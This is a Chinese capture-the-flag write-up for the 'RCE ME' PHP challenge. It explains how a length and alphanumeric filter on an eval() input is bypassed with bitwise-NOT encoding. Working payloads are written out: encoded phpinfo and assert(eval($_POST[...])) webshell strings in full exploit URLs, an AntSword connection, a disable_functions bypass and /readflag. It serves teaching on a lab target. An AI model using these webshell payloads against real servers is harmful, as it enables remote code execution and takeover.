当前位置: 首页 > news >正文

[极客大挑战 2019]RCE ME1

 <?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

 开始代码审计.

意思就是我们传入的code的value要到达eval()函数,我们需要绕过两个过滤

首先是长度不能大于40,之后便是我们传入的内容不能是大小写字母以及0-9的数字.

绕过方法呢可以使用取反绕过,以及异或绕过.

 我们这里采用取反绕过的方法.

首先构造exp,去看看他禁用了哪些函数.

<?php
$phpinfo=urlencode(~'phpinfo');
echo '(~'.$phpinfo.')();';
?>result:(~%8F%97%8F%96%91%99%90)();

payload: 

http://ffc6c847-30f6-4efb-aea5-fff4306738a6.node5.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();

看来禁用的还是比较多的一会可能需要使用这些被使用了disable_function()的函数了. 

之后构造webshell,由于php版本的问题呢,我们不能直接构造assert($_POST["cmd"]),我们需要构造构造成assert(eval($_POST["cmd"])),这种形式.

话不多说,开始构造webshell.

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[love]))';
$d=urlencode(~$c);
echo $d;?>result:%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6

链接蚁剑客.

http://1183e56b-6266-4676-8c7e-fe5a9f33d291.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);

 

之前我们提到了,他禁用了很多函数方法,我们可以通过下面蚁剑的绕过disable_functions的插件进行绕过.

 

选择PHP7_GC_UAF 

 

 之后执行/readflag,来读取flag.

得到flag,游戏结束. 

 

 

相关文章:

  • 计算机毕业设计 Java教务管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解
  • React返回上一个页面,会重新挂载吗
  • 微信小程序-数据模型与动态赋值
  • 【AI驱动TDSQL-C Serverless数据库技术实战】 AI电商数据分析系统——探索Text2SQL下AI驱动代码进行实际业务
  • 智能网联汽车飞速发展,安全危机竟如影随形,如何破局?
  • ONVIF、GB28181技术特点和使用场景分析
  • 【教程】57帧! Mac电脑流畅运行黑神话悟空
  • docker的harbor仓库登录问题
  • APISIX 联动雷池 WAF 实现 Web 安全防护
  • 匈牙利算法模板
  • ARM Process state -- SPSR
  • 【java】前端RSA加密后端解密
  • 当前用户添加到 [uucp ]组
  • 七段 LED 显示器(7段数码管)
  • 深度剖析800G以太网:优势、挑战与发展
  • [译] 怎样写一个基础的编译器
  • Android 控件背景颜色处理
  • Android交互
  • canvas绘制圆角头像
  • ES6系列(二)变量的解构赋值
  • golang 发送GET和POST示例
  • python 学习笔记 - Queue Pipes,进程间通讯
  • Python十分钟制作属于你自己的个性logo
  • Python学习之路13-记分
  • ReactNative开发常用的三方模块
  • seaborn 安装成功 + ImportError: DLL load failed: 找不到指定的模块 问题解决
  • 汉诺塔算法
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 详解移动APP与web APP的区别
  • ​低代码平台的核心价值与优势
  • (02)Hive SQL编译成MapReduce任务的过程
  • (7)STL算法之交换赋值
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (NO.00004)iOS实现打砖块游戏(九):游戏中小球与反弹棒的碰撞
  • (Redis使用系列) Springboot 使用redis实现接口幂等性拦截 十一
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (介绍与使用)物联网NodeMCUESP8266(ESP-12F)连接新版onenet mqtt协议实现上传数据(温湿度)和下发指令(控制LED灯)
  • (每日持续更新)jdk api之StringBufferInputStream基础、应用、实战
  • (小白学Java)Java简介和基本配置
  • (转载)Linux网络编程入门
  • *算法训练(leetcode)第四十七天 | 并查集理论基础、107. 寻找存在的路径
  • .NET 8.0 中有哪些新的变化?
  • .NET Core 实现 Redis 批量查询指定格式的Key
  • .net Stream篇(六)
  • .NET 设计一套高性能的弱事件机制
  • @Transactional 详解
  • [ 云计算 | AWS ] 对比分析:Amazon SNS 与 SQS 消息服务的异同与选择
  • [2021]Zookeeper getAcl命令未授权访问漏洞概述与解决
  • [Android开源]EasySharedPreferences:优雅的进行SharedPreferences数据存储操作
  • [bbk5179]第66集 第7章 - 数据库的维护 03
  • [BZOJ 3680]吊打XXX(模拟退火)
  • [C#]winform基于opencvsharp结合Diffusion-Low-Light算法实现低光图像增强黑暗图片变亮变清晰
  • [C#]winform制作圆形进度条好用的圆环圆形进度条控件和使用方法
  • [Hive] INSERT OVERWRITE DIRECTORY要注意的问题
  • [HNOI2015]实验比较